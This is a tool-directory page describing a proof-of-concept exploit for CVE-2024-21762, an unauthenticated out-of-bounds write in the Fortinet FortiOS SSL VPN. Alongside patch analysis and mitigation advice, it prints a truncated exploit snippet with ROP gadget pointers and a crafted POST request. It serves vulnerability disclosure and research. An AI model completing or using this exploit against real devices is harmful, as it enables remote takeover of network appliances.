Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/crackercat/cve-2024-21762-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubcrackercat/cve-2024-21762-poc

cve-2024-21762-poc

CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞，存在于其 SSL VPN 组件中。

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cve-2024-21762-poc

CVE-2024-21762 is a critical vulnerability in Fortinet's FortiOS and FortiProxy products, located in their SSL VPN component. This vulnerability allows unauthenticated remote attackers to execute arbitrary code or commands on the target system through specially crafted HTTP requests, potentially leading to full system compromise.

Impact: Due to this vulnerability, attackers can remotely execute arbitrary code without requiring any authentication, thereby gaining complete control over affected devices. This can lead to sensitive data leakage, service disruption, and even further network attacks.

Attack Method: The primary method attackers use to exploit this vulnerability is sending specially crafted HTTP requests that trigger an out-of-bounds write vulnerability in the SSL VPN component. Specifically, attackers can manipulate in-memory data through carefully constructed requests, ultimately achieving remote code execution.

Mitigation: To prevent attacks exploiting this vulnerability, it is recommended to immediately upgrade FortiOS and FortiProxy to the latest official security versions. Additionally, disabling the SSL VPN feature serves as a temporary mitigation measure.

Detailed Analysis of CVE-2024-21762: Out-of-Bounds Write Vulnerability in Fortinet FortiOS

Vulnerability Background

CVE-2024-21762 is a high-severity vulnerability in Fortinet FortiOS SSL VPN, classified as an unauthorized out-of-bounds write vulnerability. The vulnerability can be exploited for remote code execution (RCE), posing a threat to enterprise network security.

FortiGate released updates in February 2024 to patch multiple medium- and high-severity vulnerabilities. Among them, this article focuses on analyzing the exploitation process of CVE-2024-21762, including how to leverage this vulnerability to achieve remote code execution.

Proof-of-Concept (PoC) Exploit Code

The following PoC code was provided by assetnote and demonstrates the basic steps for exploiting this vulnerability.

root@kitploit:~
# Simplified exploit code snippet
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"  # SSL handshake pointer
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"  # getcwd function pointer

pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # pivot instruction set 1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # pivot instruction set 2

rop = b""  # ROP chain
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... remaining ROP chain content omitted

# Forged request data
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body

# Send forged request
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

Analysis of the Patched Code

By comparing the binary files of FortiOS 7.4.2 and 7.4.3, the fix is located in the function sub_18F4980. The patch focuses on the following two points:

  1. When parsing the chunk format, a validation check for the chunk length was added. If the decoded length exceeds 16, it is considered invalid.
  2. The write logic for the chunk trailer was fixed to prevent out-of-bounds writes of \r\n.

Exploitation Principle

  1. Triggering the Out-of-Bounds Write:

    • When parsing a chunk, if the length field decodes to 0, it triggers a read of the chunk trailer.
    • When writing the chunk trailer, \r\n is written to the stack based on the length field.
    • If the length field consists of a large number of 0s, it triggers an out-of-bounds write of \r\n near the return address.

  2. Stack Overflow and Hijacking:

    • By carefully crafting chunk data, the return address on the stack can be overwritten, achieving control-flow hijacking.
    • Using ROP techniques combined with FortiOS's memory layout, remote code execution can be achieved.

Exploitation Challenges

Although hijacking can be achieved via a ROP chain, /bin/sh in the FortiGate main program does not have the capability to directly execute commands, so other exploitable functions need to be identified. For example, by forging struct pointers, SSL_do_handshake can be leveraged for further attacks.

Exploitation Demonstration

Even under default configuration (with Web mode disabled), this vulnerability can still be exploited.

Exploitation Demonstration

Conclusion

CVE-2024-21762 is a highly complex vulnerability whose exploitation requires an in-depth understanding of FortiOS's code logic and memory layout. Compared to traditional CTF challenges, exploiting real-world vulnerabilities requires more complex context and structural analysis.

Original Article Link

The author has provided a more detailed Chinese analysis article, which can be referenced here: Original Article

Download Tool